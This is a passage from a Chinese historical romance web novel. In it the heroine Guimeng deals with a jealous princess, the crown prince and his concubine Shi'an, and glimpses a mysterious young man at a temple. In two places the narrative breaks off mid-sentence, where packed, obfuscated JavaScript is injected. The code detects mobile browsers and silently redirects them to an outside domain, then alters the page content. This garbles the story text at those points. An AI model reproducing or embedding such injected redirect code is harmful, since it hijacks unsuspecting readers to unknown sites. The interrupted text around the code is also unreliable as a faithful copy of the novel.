幼时归梦常在宫中,与太子、云蔷一起玩耍。云蔷与她年纪相仿,不知为何,总是爱抢她的玩物,两人多有争执。想来只因她堂堂皇女公主,竟比不上归梦这样一个外戚之女活得尊贵,以致她对归梦充满了敌意。 云蔷轻嗤道:“几年不见,你倒是长高了不少,就是心眼看着没什么长进。听闻你蛰居府中,甚少外出,怎地太子哥哥这才刚娶了太子妃,你就迫不及待地出现在这西苑了?” 归梦听她没来由地挑衅,不知何意,耐着脾气问道:“你这话是什么意思?” 云蔷秀眉一挑:“这宫里谁不知道,你家百般拒婚太子哥哥,惹得皇后娘娘不悦。你既对太子哥哥无意,平日还是少出现在这太子与太子妃所居的西苑吧。”她刻意重音强调“太子妃”,似乎在讽刺什么。 这一番话理直气壮,归梦不觉愣住,一时无言以对。 当初她与太子的婚事是皇后姨母提议的,拒婚是她父母主张的。从头到尾,她都未有机会表达任何意见。一直以来,她也只当太子是个关爱她的表兄而已,更不会有那么多的心眼想到要避嫌这一层。 归梦坦然道:“我没想那么多,我只把太子视为兄长而已,我俩本就是表兄妹……” 云蔷猛地打断她,尖声道:“你们只是表兄妹而已,我和太子可是亲兄妹!” 她一双杏眼里充斥着怨恨和不满,胸口快速起伏着。 归梦有些惊诧于她突然而来的怒意。 彼时她和云蔷每有争执,太子哥哥总会从中调和,公平处理。但因云蔷经常无理取闹,所以看起来太子会偏袒归梦多一些。是以云蔷常常心怀不满,认为太子偏疼归梦这个表妹多过自己这个同父异母的亲妹妹。 没想到,这么多年过去了,她仍是耿耿于怀。 想是意识到自己的失态,云蔷很快整理好情绪,她随手摘下身旁一朵小小的长春菊,在指缝间不断搓揉着,也不看归梦,只斜眼冷冷道:“总之,如今这西苑你少来为妙,可别那么厚脸皮,无知无觉的。”言罢,将手指间搓得稀烂的残花嫌恶地甩掉,转身欲走。 “太、太子哥哥,你什么时候来的?”云蔷刚转身就看到萧益一身疏朗站在午后日光的影中,吃了一惊。 归梦默默上前行了一礼。她忽然发现,身旁的素秋不知何时不见了,许是她通知太子前来的吧。 “云蔷,辛苦你今日送补品来,早些回宫休息。”萧益语气平和,但隐含着威严与不可反驳。 云蔷恨恨瞥了归梦一眼,欲言又止,携着婢女去了。 萧益见归梦默默无言,温和笑道:“从前那么活泼伶俐的一个人,怎么这会儿像个没嘴的葫芦似的。看来当真是太久不见,和我生分了?” 归梦闻言扑哧一笑:“您是监国的太子,又刚成了婚,妹妹哪敢对着您胡言乱语呢。” 萧益宽慰道:“云蔷就是这样的性子,她的话你别往心里去。” 归梦撇了撇嘴:“我也不是第一天认识她,惯了。纵使她视我为眼中钉,又能奈我何,也不会让我难受得少吃一碗饭。” 萧益抚掌笑道:“好!我向来最欣赏你这满不在乎的个性,洒脱自在,颇具林下之风。随我来。” 4. 无觅处(二) 夕阳的余晖下,萧益手里拄着一根鎏金龙头黑檀木的手杖,不紧不慢地走在前面,虽然仍是有些瘸,但他意态从容,并不以自己的残疾为耻。 归梦本想上前搀扶,但见他遣退了想要上前搀扶的侍从,坚持自己行走,便只默默跟随。 在归梦的记忆中,幼时太子生过那场大病后右腿就落下了残疾。站立时虽与常人无异,但行走时右腿总是一瘸一拐的,所以,他出行多是轿撵。 她印象最深的一次,是她与云蔷起了冲突,甚至动起了手。太子碰巧看见,也顾不得仪态,拄着手杖便疾步朝她们走来,少年稚气的俊脸上满是焦急。因为拖着病腿走得快了,还差点摔了一跤。 时隔多年,她仍是无法忘记那一幕。在她心里,太子便是最宽厚友爱的兄长。他还是如从前一样,私下里从不对她这个表妹称孤道寡,只自称“我”。 “梦儿?”呼唤声把她从回忆中叫醒。“陪我去书房坐坐。” 走了不久,眼前出现了一幢依着遮荫大树而建的雅致精舍。 屋子并不大,陈设也少。一个长案并太师椅,另摆了几个檀木桌椅。案上只有几卷书册并竹简,笔墨纸砚等,另有一尊雕花铜质香炉,正悠悠冒着缕缕白烟。靠墙的木架上摆了些许古董以供赏玩,墙面上挂了几幅字画。 谁能想到当朝太子的书房竟是如此简单。 萧益像是看出了她的心思,笑道:“素日案牍劳形,置了这间书房,不见外客,只为偷得浮生半日闲。” “一早听闻今日你和姨母入宫见母后。你回来这么久,也就大婚那日我们见了一面……难得今日有空,不妨好好聊聊。” 归梦当下也不客套,好奇地四下看看。 “咦,这幅曹不兴的《桃源图》竟然在这里。”归梦伸手从墙上拿起一幅画,仔细端详。 只见画的落款处分明写着“无尘居士”四字,不觉微微一愣。 她略一思忖,调侃道:“这虽是临摹之作,但也足见画技高妙了。只是,没想到太子哥哥的西苑之中还有这等色艺双绝的佳人。“ 萧益不觉失笑:“不过一幅画罢了,你这丫头倒像是见微知著了。你且说说,怎知这画的作者便是色艺双绝呢?” 归梦得意一笑,将画递给萧益,分析给他听:“你看,这落款处的笔迹,分明是卫夫人的簪花小楷,很是秀气,可见作者是名女子,且书画双绝。俗话说相由心生,字如其人,我猜这作者必然姿容出众。何况……”她故意不再说下去。 “何况怎样?”萧益饶有兴致地追问。 归梦嘻嘻笑道:“何况这画悬挂在太子表兄的书房之内,朝夕相对,既然并非名家亲笔,那么显然是出自重视在意的人之手咯!” 萧益朗声大笑:“好,好!条理清晰,我竟是无从辩驳。不过……有一点你可没说中。” “哦?是什么?” “你说她书画双绝,却不知她琴棋书画,诗词歌赋样样皆精,至于姿容,更是万里挑一。”萧益谈到对方,眼角眉梢都染上了温柔。 归梦脑海闪过那白衣女郎的倩影,料想太子所说的应该就是她了。她只装作不知,故意道:“这世间竟有如此完美的女子,我倒是想见见。太子哥哥何时为小妹引见一下?” 萧益沉吟道:“诗安她……素日不大爱见生人,她性喜自在,终日呆在这西苑也着实气闷。不过,我想你俩的性子必然是投缘的,你若得空,可多来伴伴她。” “诗安,这名字倒是雅致。她是太子表兄的侧妃吗?”归梦好奇,问得直接。 萧益短暂地沉默了一下,缓缓道:“她出身庶族,一开始只是我的侍妾,在我身边几年了,我们感情甚笃。两年前我便想封她为侧妃。但母后以还未立正妃就封侧妃不合规矩为由不许。眼下我已大婚,想着也该给她个位分了。前不久,我已命她的家眷迁入京师。”他顿了顿,又道:“她向来于荣华名位看得极淡,近日见她增了不少愁容。我心里实在是……” 归梦心下了然,颔首道:“放心,我若得空,定常来西苑。正好向诗安姊姊讨教讨教画技。” “不知归梦妹妹何时也对画画有了兴致?”一声轻笑伴着娇媚的声音响起,不疾不徐的脚步声传来,新封的太子妃夏侯敏裹挟着一阵香风,款款地走了进来。 她身着一件绣着彩金凤凰的茜素红广袖襦裙,高耸的凌云髻上斜斜插着一双明珠金钗,衬得肌肤润泽白腻,珠围翠绕,映得室内生辉。 大婚过去不过数日,夏侯敏已然是通身的皇室气派,看来这天家富贵自是养人。 世家大族中,适龄未婚可堪与太子婚配的并不多,皇后浪费了太多心思在归梦身上。最后择来择去,夏侯敏已经是最优之选了。 夏侯敏虽是大族将门之女,但家族人才凋敝。夏侯家的军权和声望全靠她祖父夏侯老将军维系着,后辈男子中并无出色人物。是以夏侯家只剩外面的架子还未倒,内里早有衰败之像。 夏侯敏平日在一众贵女之中向来低调默默,比之归梦的派头自是多有不如了。如今乍然成了太子妃,当真是一朝平步青云。 萧益薄唇微抿:“怎地来了也不让下人通报一声?劳你亲自送茶。” 夏侯敏朝他轻施一礼,将手中托盘里热气袅袅的茶奉上,笑吟吟地说:“妾身听说今日归梦妹妹来了,想着都是自家人。这是这个月刚贡上来的日铸雪芽,特来让妹妹尝尝。” “方才听妹妹说要向诗安妹妹讨教画技?”夏侯敏拉住归梦的手,显得十分亲热,皓腕上的赤金绞丝红宝手钏流光溢彩。 归梦与她往日无甚交情,不习惯她如此亲昵,又不便立刻将手抽回,只是笑笑,不置可否。 萧益开口为归梦解围:“归梦近日潜心画技,孤荐了她与诗安学画。” 夏侯敏饱满的红唇弯起,笑得温婉可亲:“诗安妹妹的画,确是不错的。归梦妹妹近来这般勤勉上进,想来侯爷夫妇俩定然欣慰。说起来,妹妹家世贵重,又才貌双全,将来的夫婿必得出身名门,才不辱没了妹妹。” 归梦听得她话中有话,颇觉烦厌,当下不动声色地将手抽回,笼在袖中,语气带了两分冷然:“多谢太子妃挂心。姻缘自有天定,况且小妹年纪尚幼,言之过早。” 她的手被夏侯敏握了半天,已生了一层黏腻的薄汗,微觉不适。 “咱们王公贵族的女子,向来成婚早。妹妹虽未及笄,但也该谈婚论嫁了。”夏侯敏素白的纤手掩唇一笑:“是了,妾身家中小弟正当婚配的年纪,与归梦妹妹倒是一对……” “归梦的婚事自有姨父与姨母作主。”没等归梦发作,萧益已经先开了口。 他面色微沉,淡淡道:“便是母后要指婚也得先问过姨父姨母。你倒是着急给她议亲了?” 夏侯敏遭了驳斥,一张俏脸瞬间有些苍白,当即垂下头,强笑道:“是妾身多虑了。” “孤记得和你说过,平日里无事不必来书房。西苑内务千头万绪,你刚入宫,多向母后讨教吧。”萧益的脸上看不出喜怒,但言语上已下了逐客令。 夏侯敏应了一声,仍是不失体面地挤出微笑,福了一福告退了。 送走了夏侯敏,归梦和萧益都像是松了口气。 归梦叹道:“其实我能理解她。她虽已坐上太子妃之位,但家世颇不如我,之前姨母又是属意我嫁给你,是以她不能安心,知道我俩见面,便赶来瞧瞧究竟。”说罢,摇了摇头。 “你若有心嫁我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599162|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里还轮得到我娶她呢?她视你为心腹大患,想为你议亲,也是可笑。”萧益举杯饮了一口茶,苦笑着说。 归梦忽然表情严肃,认真地看着萧益,剪水双瞳澄澈明亮。 “那太子哥哥你……此前可有心娶我?” 萧益不料她猝然问出这个问题,怔了一下。他温润的眸子里慢慢地有和煦的如春风般的笑意漾起,极为真诚地答道:“实不相瞒,我只当梦儿是妹妹。” 归梦扑哧一笑:“虽然早就知道,但我总要问过才算数。” 二人相视大笑,归梦再也不担心因为过去拒婚,跟太子之间会有芥蒂了。 “此生我有诗安这个红颜知己,于愿足矣。至于其他女子,娶谁为妻对我来说并无分别。”萧益叹道。 归梦听出了这话中的无奈。无情最是帝王家。身为太子,他并没有择自己心爱之人为妻的自由。只因皇族、门阀士族与那寒门庶族之间的鸿沟是难以跨越的。 能够相伴已然是幸运,哪还能计较名分。 萧益见归梦默默无言,也收起了淡淡的伤感。他微笑鼓励道:“梦儿,你有一双好父母。将来定能与心爱之人共结连理。” 真的可以吗?归梦不敢想。其实父亲母亲也并没有那么的开明,倘若她爱上的是寒门子弟,恐怕他们也不会应允吧。 ”是了,”归梦想起一件事。“表兄这般重视诗安姊姊,恐怕会让夏侯敏吃味吧。” 萧益的手微微攥紧了茶杯。“夏侯敏出身将门,行事圆滑,又善于媚上钻营,爱妒忌,确是不太好相与。只是眼下暂时还未流露出什么。至于诗安,也是忍耐退让惯了的,从不愿背后道人短长。” 归梦听他这样说,也觉这宫闱斗争确实无解,只能走一步看一步。 这日偷跑去西苑,谢氏遍寻不到,好在太子派了下人去告知,说是他邀请归梦去西苑小坐,归梦回去后才没被念叨。 她回到建康三年,也并无什么朋友。只觉同太子和诗安分外投缘。 于是,她一得空便去西苑叨扰诗安。 诗安所居的别院叫“无尘斋”,居如其人,雅致清新,不愧她“无尘居士”的别号。 归梦与诗安熟稔了以后才知道,她不仅是擅长画山水风景,就连人物肖像也是画得惟妙惟肖。 在她居所里就看到几幅太子的画像,描摹精细,十分传神。 归梦觉得有趣,便缠着要她教自己画人物。 人物画像十分考究笔法,纵有天资,没有数年的功底也是画虎不成反类犬。 才学了几日,归梦看着自己始终进步不大的画作,甚是失望,颇受打击。 诗安倒是极为温柔,教导她作画时耐心细致不说,还反过来劝慰鼓励她。有这样的师父,倒让归梦这个徒弟不忍心开口说不学了。 “作画不仅是要用手,用笔,更需用心。下笔之时,想着心中所念之人,意与神会。勾勒出其大致形容,再加以细细摹绘。”诗安把着归梦的手,边画边教。 她美目流转,余光瞥到归梦半边芙蓉秀靥上闪过苦恼的神情,便暂时放下了笔。 “你这几日都是对着素秋,以她为模子作画。不妨,换个人试试。” 素秋很是乖觉地躬身施了一礼:“是奴婢不好,耽误了女公子学画。” 归梦冲她笑着摆摆手:“没你的事,是我太笨了。” 诗安伸手取过刚刚画了一半的画放在一旁,温声道:“画人物贵在抓住其神韵。你闭上眼睛,用心想想,不必画眼前看到之人,就画你心中看到,所想所念之人。” 所想所念之人? 归梦合上双眼,浮现了历时几年都不曾忘却的那个画面。漫天烟花之下,少年鲜衣怒马。 5. 相见欢 心中藏之,何日忘之? 隰桑有阿,其叶有难。 既见君子,其乐如何。 归梦被诗安无意中触动了心事,不觉有些出神。半晌,她拿起笔蘸了墨,在纸上轻轻勾勒了起来。 才画到一半,她便停住了笔。 三年弹指而过,那少年的身姿虽深深印在她脑中,但眉眼细节她已是不太能记清了。越画她便越发现,她的笔力拙于画出少年的绝世容貌和风采。 诗安见她停了笔,起身凑近一看,轻轻赞道:“已是有些进步了。” 她见归梦有些不信地看着自己,微笑解释道:“画境不在雕琢,但在神意,你虽未画全此人的相貌,但这男子的身形、气度已然跃出纸上。” 这番话算是给了归梦莫大的鼓励。 这几日常常作画,坐着练习,动辄一两个时辰。以她平日三天打渔,两天晒网的性子来说,已是实属难得了。之所以还没放弃,也是因为诗安的鼓励。何况诗安是这般才貌双全、性子和婉的完美女子,与这等优秀之人相交,她总不愿太落人后的。 素秋适时地添上茶水。她看了归梦的画作,笑道:“女公子画中这人容貌虽不清楚,但是总觉得在哪见过似的,看着有些眼熟。” 归梦闻言手一抖,茶杯里滚烫的茶水溅出几滴,烫到白嫩的手指上。 “哎呀!”素秋急忙掏出帕子帮她擦拭。 归梦顾不得手上被烫的地方疼痛,追问道:“你说眼熟?你识得他吗?” 素秋愣了一下,不料自己无心的一句话归梦却这般在意,下意识地看了眼诗安,摇了摇头道:“奴婢只是觉得眼熟,但一时也想不起来像谁。” 归梦无言,心下颇为失望。 “素秋,去取些冰块,”诗安看了归梦的伤势,补充道:“还有上次殿下给的烫伤药膏,一并拿来。” 她见归梦默然不语,劝慰道:“素秋平日跟在我身旁,也不曾见过几个男子,回头我让她好好想想。” 诗安这般善解人意,归梦反倒不好意思起来。她嘴上说了句“无妨”,心中却在思量是否要将自己的心事同诗安说。 素秋很快取来了东西,主仆二人一道给归梦上药。 归梦笑道:“其实不过烫到两根手指,没什么大碍的。现下已不觉得痛了。” 此时门外有下人通报:“太子殿下到!” “你们这是……”萧益缓步而来,一进来就看见素秋正用手帕包着冰块给归梦冰敷。于是转头看向诗安,目光有探询之意。 归梦抢着答道:“适才作画之时不小心打翻了茶盏,烫了一下,并无大碍。” 萧益点了点头,拉起诗安的手,笑道:“这几日政事繁多,我还没来得及介绍,看来你们倒是一见如故了。” 诗安回头朝归梦轻轻眨了眨眼,也并不说破两人早就见过一事,只微笑说归梦这几日正在跟自己学画,一语带过了。 萧益一袭明黄色朝服,面有倦容,看来是刚下朝便赶来无尘斋了。 诗安取了鹅羽软垫靠在椅背上让他坐下舒服些,又命素秋新沏了茶水来,再去吩咐下人传了饭菜来。 虽没有什么过多的言语,但两人之间一个眼神,一个微笑,便足以感觉到那爱意的流动。 归梦见他二人一双两好,情深爱笃,俨然是尘世中的一双神仙眷侣,如此相知相伴……让她不觉生出羡慕之情。 想起师父的话,半月之内,当真能见到那个人吗? 她向来不怀疑师父,但日子将近,也难免着急。 “既来了,我可要看看你这徒弟教得如何了。”萧益玩笑道。 他走到案前,伸手拿起归梦画了一半的那副画看了看:“唔,不错,几日的功夫,能画成这样属实不易了。” 归梦倒也不谦虚:“所谓名师出高徒嘛。” “是归梦妹妹天资聪颖。”诗安并不居功。 “不过……”萧益眼中笑意渐浓:“这画中人是谁呢?” 归梦从他手中夺过画像,面皮有些发烫,心虚道:“小妹不过信手涂鸦,这画中人乃是虚构的。” “那倒是可惜了,虽没画面容,但这等风姿也是惊世绝俗了。”萧益嘴上这么说着,却瞧了一眼诗安。 诗安会意,开口附和:“这等美男子,若是存于世间,倒不知要叫多少女子为之失魂落魄了。” “失魂落魄倒也不必,只需画上一幅他的肖像,日思夜想,那便也足够了。”萧益颇为叹息。 归梦听他二人一唱一和,脸上还都忍着笑,似乎在揶揄自己,再也忍不住了:“我不依,你们取笑我!”说罢作势欲走,被诗安一手拉住。 她生性率直,本来也不会扭捏作态,只是少女怀春,向来是有些羞于启齿的。 “姊姊你也欺负我。”归梦撅嘴不乐。一直以来,她只当诗安是个温柔聪慧极了的姊姊,不料原来她也有风趣顽皮的一面。 诗安微微一笑,伸手替归梦正了正发髻上的一枚蝴蝶穿花珠钗,柔声道:“我并非取笑你,只是不愿见你自苦。若是见了什么人,心中欢喜,不必藏着。” “我才没有藏着呢,只是不知道他是谁,在哪里罢了。”归梦坐下,幽幽叹了口气。 “哦?有这种事?”萧益沉吟道:“这倒不难,近日逗留建康的年轻士族公子颇多。月底宫中会举行一场清谈雅集。届时,我会着人好好留意。能令你念念不忘的男子,必然是极出色的。既然是极出色的,又怎会不在这建康城中?” 归梦点点头。这话有一定道理。 虽然上巳那一日他出现在青溪之上,可她不确定他是否还留在建康城内。 “妹妹放心,若是此人出现了,且身份合适,我必设法为你作主。” 之后两日,因为手指被烫到,归梦并未再去西苑习画了。 这一日恰逢十五,按惯例母亲都会去城外的瓦官寺上香祈福。一早,归梦便梳洗打扮吃了素斋,随母亲一道坐着马车出城了。 瓦官寺规模虽不大,但寺内有佛法精深的高僧住持。据说许愿灵验,所以素来香火旺盛,有不少善男信女隔三差五地前来礼佛。 谢氏一贯虔诚,身边得力的桃枝与桂叶陪同着入正殿参拜去了。归梦并无信仰,当下带着紫芽在寺庙中随处逛逛。 绕过了正殿,那念佛声、木鱼声与人群的脚步声渐渐弱了。 日头已快升至头顶,阳光十分暖和,洒在庭院中映得一片金黄。 一只橘白相间的花猫正美美地躺在菩提树下晒太阳。 归梦素来喜欢小动物,尤其是对这毛茸茸的猫儿没有丝毫抵抗力。她忍不住蹲下来逗弄抚摸。 “这猫儿看来是有寺庙中人长期投喂,这般圆头圆脑,皮毛也是油光水滑的。”紫芽在一旁看着笑道。 “可不,你看它一点也不怕人,许是早就习惯这人来人往的环境了。” 俩人正逗着猫说说笑笑。那小猫鼻子抽动几下,像是感应到了什么,忽地翻身站起,甩了甩尾巴,一溜烟地跑走了。 归梦兴致正浓,哪里舍得,拎起裙摆就追了上去。约莫追了十几步,只见那猫咪一拧身,钻入了一道暗红色木门的门缝中。 归梦略一犹豫,伸手推开木门跟了进去。 扑面而来的是一阵阵饭菜香味儿。 紫芽随在归梦身边,四处看了看:“想是那猫儿闻到饭香来觅食了。看来这一片是瓦官寺的后舍呢。” “后舍住着不少僧人和居士,咱们在这多有不便,还是先走吧。” 归梦被紫芽拉着正准备离开,忽听到一阵谈话声。 “……自高平一别,算来已有五载……。”一个低沉磁性的男子声音响起。 听到“高平”二字,归梦立刻被吸引住了,她好奇心起,竖起手指放在唇边示意紫芽噤声。 两人轻手轻脚地向前挪了几步,靠在墙边偷眼望去。 只见远处一排瓦舍前,一僧一俗正在交谈。 “……师父于途中病故,我将他的舍利送回寺内安放。自此,就未再离开。”那僧人一身赤褐色缁衣,听声音,方才就是他话中提到“高平”。 归梦不敢靠得太近,从她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599163|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视角望去,只能看到两人的侧影。 与那僧人面对面交谈的,是一名青衫男子,身材挺拔颀长,虽然只是一个模糊的侧影,也足见脱尘气质。 纵然看不清眉眼,可那颀长的身形是极熟悉的。 归梦只觉血往上涌,心跳得极快,快要跳出喉咙口了。紧张、狂喜又不敢置信。是他! 那谪仙一般的姿态,浑不似尘世中人,这世上哪里还找得出第二个? 这种感觉就像是心底尘封了许久的一个盒子,经过了三年的漫长寻觅,终于找到了钥匙,得以重见天日。 归梦努力压抑住激动的心情,屏气凝神正要去听他说些什么,忽然横刺里一声呼唤将她惊醒:“两位女施主?” 归梦吓了一跳,转头一看,一个低等僧人装束的矮胖小沙弥正疑惑地看着她和紫芽。 “这里是寺庙后院,僧人起居之地,游客不得擅入,尤其是女子。” 归梦低头应了,胡乱朝小沙弥施了一礼致歉。她生怕惊动了远处正在交谈的二人,当下逃也似地带着紫芽出了后院。 因走的快,她脚下险些绊了一跤。紫芽见归梦魂不守舍的样子,怪道:“梦娘,你怎么了?” 归梦也不知道自己是怎么了。近乡情更怯吗?念念不忘的这个人终于出现了,她却还没做好准备出现在他面前。她不愿贸然以这样的姿态去认识他。此事还需从长计议。 至少,她要先知道他是谁。 归梦想了想,让紫芽附耳过来:“有件事交给你去办。” 从瓦官寺回城,路上大约需要半个时辰。归梦陪着母亲坐在马车里,心思早就飘到九霄云外去了,只盼着这马车走得快些,再快些。 “你近日去西苑倒是去的勤。”谢氏本在闭目养神,忽地开口问归梦问题。 归梦一惊,点点头老实答道:“嗯,闲来无事,跟太子的侧妃讨教下画技。”她对母亲向来不敢隐瞒欺骗,反正也是瞒不过的。 说完抬眼觑了下母亲的脸色,从小到大,相比较父亲,她倒是更怕母亲。毕竟,整个侯府听父亲的,可父亲听母亲的。母亲出身谢氏,论名望,是比岑家更显贵。 母亲被父亲捧在手心疼爱呵护了近二十年。即使是这般近的距离看去,面庞上也并无丝毫风霜侵染之色,保养得宜,望之如三十许人。 “学画自是好事,只是,也要看跟谁学。为娘劝你和她勿要走得太近——你姨母可不大喜欢她。”谢氏淡淡说道。 归梦微微一怔,很快明白过来。诗安姊姊备受太子喜爱,太子难免冷落了姨母所选的正妃夏侯敏。自然,姨母将这都怪罪到诗安姊姊头上了。况且诗安出身寒门,难免为皇后姨母所不喜。 “因着拒婚太子之事,我们已和你姨母闹得有些僵了,你无谓再因为一个外人惹她不悦。” 归梦沉默以对。她可不想承诺自己做不到的事,但也不愿当面与母亲争执。 马车渐趋平稳,显然山路已走完,马上就要进城了。 归梦借口说坐得腰疼,要下车活动活动。 一下车她立刻伸手把紫芽招到一边,焦急问道:“怎么样?” “按梦娘你的吩咐在寺门口守着,等了大概近半个时辰,看到一个如谪仙一般的青衫公子出来。我估摸着就是与僧人谈话的那位。本想上去打听他的姓名,可是寺院门口有许多人守在那,似是特地在等他的。那些个女娘见到他便上前围住他要和他搭讪,其中有一个我一眼就认出来,是王家王如芝的侍女……” 归梦不耐听这过程,打断她问道:“后来怎样?” 紫芽咬了咬嘴唇:“我挤也挤不过去……总之他谁也没理,钻个空骑上马一溜烟就跑了。我也追不上……”她声音渐弱了下去,可怜兮兮地看着归梦。 “真是没用!”归梦气得跺脚。好不容易见到他,竟然连姓名、住所都没探听得到,这下线索又断了。 她瞥见紫芽发髻蓬乱,额边一溜汗,神情委顿,便也冷静了下来:“罢了,是我心急了,此事怪不得你。” 只是,现下又往何处去寻他呢? 6. 费思量 真要深究起来,倒也不是一筹莫展。 归梦努力回想从第一次见到他到现在为止的所有记忆片段,将自己所知的关于他的信息汇总起来。大抵还有几个法子可以找到他。 第一个法子,就是去找表兄谢炅打听。当初能遇见他,就是跟着这位表兄去参加他的婚礼。一贯闲云野鹤的表兄肯从建康赶去高平去参加他的婚礼,二人定然私交甚笃。 第二个法子,去找瓦官寺的僧人打听。按照上次无意撞见的情形来看,他至少与寺中某位僧人是相熟的,或许还时常出入瓦官寺。所以也可派人前去蹲守。 只是,想来想去,这些方法均是下下之策,牵连甚广。只怕自己还没与他结识,消息就会不胫而走,于他于己都不利。 此番在瓦官寺突然见到他,当真是让人又惊又喜。风乍起,一池春水已吹皱。明明他离自己那么近,他的一切就像是个昭然若揭的秘密,呼之欲出,让她兴奋不已。可是又总是差了一口气,急得人百爪挠心。 梳洗罢,归梦趴在桌上意兴阑珊地摆弄着几根筹策。卜了几次,仍是算不出他的具体方位。若要寄希望于方术,靠自己看来是不行了。 不如明日,再去寻师父帮忙? 此时,身后正在铺床的紫芽说话了:“今日郭先生托人送了口信来,说是有事要出去云游,恐怕两月之内都回不来呢。” “什么时候的事?” “就是晌午之后,白日我们不在家中,是鲁管家接见的。晚膳前他转告我的。” 归梦刚兴起的希望又被熄灭了。 不过她的性格就是越挫越勇。越是困难,她越是生起无穷斗志。她就不信了,非找到这个人不可! “梦娘,夫人说近日要把颜色不鲜亮、样式老了的金银首饰全拿去重做,还要特别给你加添妆奁呢。” 归梦心不在焉地点点头。她向来性格随性不拘,有些男孩子气,于珠宝首饰并不在意,更不喜过度装饰招摇,平日穿戴也是适可而止,不失贵重即可。 紫芽拿来嵌着银丝云纹的紫檀木首饰盒放在桌上,一边念叨一边挑拣。 “唔,这几个都是前些年打的,恐怕都不合戴了……咦,这块玉佩是从高平带回的吗?倒是没什么印象。” 归梦随意一瞥,只见紫芽掌中托着一块比目鱼羊脂白玉佩,上面串着的吊穗丝线颜色有些黯淡,显然是有些年头了。 她竟浑忘了这件事了!这块玉佩可是…… 归梦从紫芽手中接过玉佩,摩挲着温润的玉质,不觉浮起微笑。 因着母亲告诫的缘故,归梦忍耐了几日不曾去西苑。 她毫无头绪,枯坐家中,被紫芽拉着到荷花池边喂了喂鱼,又无聊取了琴在小亭中弹,借琴声发泄,指上却是渐渐不成章法。 “有美人兮,见之不忘。一日不见兮,思之若狂……”一个清朗又熟悉的声音响起。 归梦循声望去,只见一名俊美男子立在廊下,头戴青纱纶巾,手摇折扇,正含笑望来。 她又惊又喜,急忙弃了琴起身奔了过去。 “表兄,你何时来的?”归梦欢喜地挽住他。 岑家的几位堂兄年纪都比她大许多,且都老成持重。偶尔见面,与他们也说不上几句话。 唯有这位谢家表兄,一派名士风度,最与她气味相投。 谢炅打趣道:“倒也没来多久,刚巧听你奏完这曲哀怨的《凤求凰》。” 归梦撅起嘴佯装不乐:“这么久没来看我,一见面你就来取笑。” “今日可是特地来探望你的。前些日子忙着为太学修纂典籍,实是脱不开身。现下已完成的差不多了,我也可松快松快了。”谢炅说笑间随意坐下,也不管桌上的茶已凉,随手斟了一杯就饮。 “话说琴为心声,你把这《凤求凰》弹得如同《长门怨》一般……可是有什么不痛快的,说出来,为兄给你解决。”他一句话,又将话题绕回了归梦身上。 归梦心里只觉好笑。来说是非者,即是是非人。始作俑者可不就是你? 她心里这么想,脸上却不动声色,只是故意叹了口气:“小妹愚钝,有一疑惑,百思不得其解。表兄博学,定能为我指点迷津。” “为何自古以来只有‘凤求凰’,而非‘凰求凤’呢?” 谢炅俊眉皱起,显是被这个刁钻的问题给难住了,沉吟道:“雄者为凤,雌者为凰。阴阳万物,自然有其规律。雄者求偶,以繁衍后代。” “那么按照表兄的说法,女子只能等着男子来追求,否则便是违背了阴阳规律。” 谢炅踌躇不答,只觉归梦话里有话。他笑道:“你今日这是怎么了,怎么反倒像是冲着我来了?” 归梦嘻嘻一笑:“谁不知表兄每次出门,都惹得一众女娘芳心可可,比起前朝那位掷果盈车的潘郎也不遑多让。我只是好奇,在表兄心中,是否真的视这些女娘如洪水猛兽,避之唯恐不及呢?” “这个嘛……” 归梦接着说道:“听闻艳羡表兄者倒是不少呢!尚书府徐家三郎相貌平平,却仿效表兄的装扮上街出游,只得了一众女娘的唾弃,落荒而逃。可有此事?” 谢炅折扇轻摇,笑道:“想不到你身在闺阁,坊间的趣闻轶事倒是知道得不少。” “如此,小妹倒不明白了。如表兄所说,男子认为男追女是天经地义合乎天道,女追男是离经叛道。可男子又为何对女子的追捧甘之如饴,这岂非表里不一,虚伪矫情?” 她顿了顿又说:“再者,世人皆知,这豪门士族之中,喜好男风,具有龙阳之癖者不在少数。如此不男不女,阴阳颠倒,又岂合乎世间礼法?” 谢炅语塞片刻,忽地哈哈大笑:“妙!你这张嘴,足可以去舌战群儒,羞煞那群食古不化的老学究。” 他接着叹道:“我承认,但凡男子,多少是有些虚荣的。倘有女子主动追求,难免动些心念。我再更正一下——不论男女,若是喜欢上谁,只需光明正大,均可主动追求,无需去管什么劳什子天理成规。” “几月不见,你真是长大了不少,洞明世事,不怪乎连太子殿下都赞你洒脱随性,有林下之风。”谢炅由衷道:“说真的,以你的家世,姨父姨母向来对你宠溺,你若是真看上哪家的少年郎,尽管招来入赘。” 归梦斜睨了他一眼:“倘若日后我真是看上了谁,表兄可愿做个冰人?” “义不容辞。” 要的就是你这句话。归梦得意一笑。 谢炅惯知归梦的性子,她想说该说的时候自然会说,需要他帮忙的时候也不会扭捏,于是当下也不追问。 “对了,太子殿下惯知你喜爱花草,这几日西苑的紫藤花开得正好,托我邀你前去赏玩。” 听到“紫藤花”,归梦顿时心领神会。 “有劳表兄传话了。” “自家兄妹,客气什么。为兄近日打算在会稽修建庄园,落成之后,寄情山水,饮酒自娱,方为人生乐事。如今每日耽于仕途宦海,当真叫人烦闷。”谢炅一阵长吁短叹。 归梦不由得一阵神往。 